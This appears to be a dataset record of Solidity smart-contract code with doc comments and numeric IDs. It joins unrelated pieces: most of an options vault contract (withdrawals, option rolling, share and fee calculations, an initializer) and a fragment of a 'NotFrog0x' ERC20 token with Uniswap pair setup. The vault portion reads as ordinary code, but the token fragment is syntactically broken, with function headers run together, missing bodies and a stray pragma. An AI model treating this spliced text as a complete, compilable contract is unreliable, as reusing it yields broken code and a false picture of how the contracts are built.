IWETH(WETH).withdraw(withdrawAmount); (bool success, ) = msg.sender.call{value: withdrawAmount}(""); require(success, "ETH transfer failed"); } /** * @notice Withdraws WETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdraw(uint256 share) external nonReentrant { uint256 withdrawAmount = _withdraw(share); IERC20(asset).safeTransfer(msg.sender, withdrawAmount); } /** * @notice Burns vault shares and checks if eligible for withdrawal * @param share is the number of vault shares to be burned */ function _withdraw(uint256 share) private returns (uint256) { (uint256 amountAfterFee, uint256 feeAmount) = withdrawAmountWithShares(share); emit Withdraw(msg.sender, amountAfterFee, share, feeAmount); _burn(msg.sender, share); IERC20(asset).safeTransfer(feeRecipient, feeAmount); return amountAfterFee; } /** * @notice Sets the next option address and the timestamp at which the admin can call `rollToNextOption` to open a short for the option * @param optionTerms is the terms of the option contract */ function setNextOption( ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external onlyManager nonReentrant { address option = adapter.getOptionsAddress(optionTerms); require(option != address(0), "!option"); OtokenInterface otoken = OtokenInterface(option); require(otoken.underlyingAsset() == asset, "!asset"); require(otoken.strikeAsset() == USDC, "strikeAsset != USDC"); // we just assume all options use USDC as the strike uint256 readyAt = block.timestamp.add(delay); require( otoken.expiryTimestamp() >= readyAt, "Option expiry cannot be before delay" ); nextOption = option; nextOptionReadyAt = readyAt; } /** * @notice Rolls from one short option position to another. Closes the expired short position, withdraw from it, then open a new position. */ function rollToNextOption() external onlyManager nonReentrant { address oldOption = currentOption; address newOption = nextOption; require(newOption != address(0), "No found option"); require(block.timestamp > nextOptionReadyAt, "Delay not passed"); currentOption = newOption; if (oldOption != address(0)) { uint256 withdrawAmount = adapter.delegateCloseShort(); emit CloseShort(oldOption, withdrawAmount, msg.sender); } uint256 currentBalance = IERC20(asset).balanceOf(address(this)); uint256 shortAmount = wmul(currentBalance, lockedRatio); lockedAmount = shortAmount; OtokenInterface otoken = OtokenInterface(newOption); ProtocolAdapterTypes.OptionTerms memory optionTerms = ProtocolAdapterTypes.OptionTerms( asset, USDC, otoken.collateralAsset(), otoken.expiryTimestamp(), otoken.strikePrice().mul(10**10), // scale back to 10**18 ProtocolAdapterTypes.OptionType.Call, // isPut address(0) ); uint256 shortBalance = adapter.delegateCreateShort(optionTerms, shortAmount); IERC20 optionToken = IERC20(newOption); optionToken.safeApprove(address(SWAP_CONTRACT), shortBalance); emit OpenShort(newOption, shortAmount, msg.sender); } /** * @notice Withdraw from the options protocol by closing short in an event of a emergency */ function emergencyWithdrawFromShort() external onlyManager nonReentrant { address oldOption = currentOption; require(oldOption != address(0), "!currentOption"); currentOption = address(0); nextOption = address(0); uint256 withdrawAmount = adapter.delegateCloseShort(); emit CloseShort(oldOption, withdrawAmount, msg.sender); } /** * @notice Performs a swap of `currentOption` token to `asset` token with a counterparty * @param order is an Airswap order */ function sellOptions(Types.Order calldata order) external onlyManager { require( order.sender.wallet == address(this), "Sender can only be vault" ); require( order.sender.token == currentOption, "Can only sell currentOption" ); require(order.signer.token == asset, "Can only buy with asset token"); SWAP_CONTRACT.swap(order); } /** * @notice Sets a new cap for deposits * @param newCap is the new cap for deposits */ function setCap(uint256 newCap) external onlyManager { uint256 oldCap = cap; cap = newCap; emit CapSet(oldCap, newCap, msg.sender); } /** * @notice Returns the expiry of the current option the vault is shorting */ function currentOptionExpiry() external view returns (uint256) { address _currentOption = currentOption; if (_currentOption == address(0)) { return 0; } OtokenInterface oToken = OtokenInterface(currentOption); return oToken.expiryTimestamp(); } /** * @notice Returns the amount withdrawable (in `asset` tokens) using the `share` amount * @param share is the number of shares burned to withdraw asset from the vault * @return amountAfterFee is the amount of asset tokens withdrawable from the vault * @return feeAmount is the fee amount (in asset tokens) sent to the feeRecipient */ function withdrawAmountWithShares(uint256 share) public view returns (uint256 amountAfterFee, uint256 feeAmount) { uint256 currentAssetBalance = assetBalance(); ( uint256 withdrawAmount, uint256 newAssetBalance, uint256 newShareSupply ) = _withdrawAmountWithShares(share, currentAssetBalance); require( withdrawAmount <= currentAssetBalance, "Cannot withdraw more than available" ); require( newShareSupply >= MINIMUM_SUPPLY, "Minimum share supply needs to be >=10**10" ); require( newAssetBalance >= MINIMUM_SUPPLY, "Minimum asset balance needs to be >=10**10" ); feeAmount = wmul(withdrawAmount, instantWithdrawalFee); amountAfterFee = withdrawAmount.sub(feeAmount); } function _withdrawAmountWithShares( uint256 share, uint256 currentAssetBalance ) private view returns ( uint256 withdrawAmount, uint256 newAssetBalance, uint256 newShareSupply ) { uint256 total = lockedAmount.add(currentAssetBalance); uint256 shareSupply = totalSupply(); // Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L111 withdrawAmount = share.mul(total).div(shareSupply); newAssetBalance = total.sub(withdrawAmount); newShareSupply = shareSupply.sub(share); } function maxWithdrawableShares() public view returns (uint256) { uint256 withdrawableBalance = assetBalance(); uint256 total = lockedAmount.add(assetBalance()); return withdrawableBalance.mul(totalSupply()).div(total).sub( MINIMUM_SUPPLY ); } /** * @notice Returns the max amount withdrawable by an account using the account's vault share balance * @param account is the address of the vault share holder * @return amount of `asset` withdrawable from vault, with fees accounted */ function maxWithdrawAmount(address account) external view returns (uint256) { uint256 maxShares = maxWithdrawableShares(); uint256 share = balanceOf(account); uint256 numShares = min(maxShares, share); (uint256 withdrawAmount, ) = withdrawAmountWithShares(numShares); return withdrawAmount; } function assetAmountToShares(uint256 assetAmount) external view returns (uint256) { uint256 total = lockedAmount.add(assetBalance()); return assetAmount.mul(totalSupply()).div(total); } function accountVaultBalance(address account) external view returns (uint256) { (uint256 withdrawAmount, , ) = _withdrawAmountWithShares(balanceOf(account), assetBalance()); return withdrawAmount; } /** * @notice Returns the vault's total balance, including the amounts locked into a short position * @return total balance of the vault, including the amounts locked in third party protocols */ function totalBalance() public view returns (uint256) { return lockedAmount.add(IERC20(asset).balanceOf(address(this))); } /** * @notice Returns the asset balance on the vault. This balance is freely withdrawable by users. */ function assetBalance() public view returns (uint256) { return IERC20(asset).balanceOf(address(this)); } /** * @notice Returns the token decimals */ function decimals() public pure override returns (uint8) { return 18; } /** * @notice Only allows manager to execute a function */ modifier onlyManager { require(msg.sender == manager, "Only manager"); _; } }
Initializes the OptionVault contract with an owner and a factory. _owner is the owner of the contract who can set the manager _initCap is the initial vault's cap on deposits, the manager can increase this as necessary/ hardcode the initial withdrawal fee
function initialize( address _asset, address _owner, address _feeRecipient, uint256 _initCap ) external initializer { require(_owner != address(0), "!_owner"); require(_feeRecipient != address(0), "!_feeRecipient"); require(_initCap > 0, "_initCap > 0"); require(_asset != address(0), "!_asset"); __ReentrancyGuard_init(); __ERC20_init(_tokenName, _tokenSymbol); __Ownable_init(); transferOwnership(_owner); cap = _initCap; instantWithdrawalFee = 0.005 ether; feeRecipient = _feeRecipient; asset = _asset; }
10,422,764
./partial_match/1/0x0aD54008979a8511bA2e8206e8B8EEAdfB0DAfDB/sources/NotFrog0x.sol
FOR GOERLI uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6); FOR BSCSCAN uniswapV2Pair = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); FOR ETHEREUM
function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } } pragma solidity ^0.8.0; constructor() ERC20("NotFrog0x", "Frog0x") { _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE); initialized = true; uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); }
4,352,697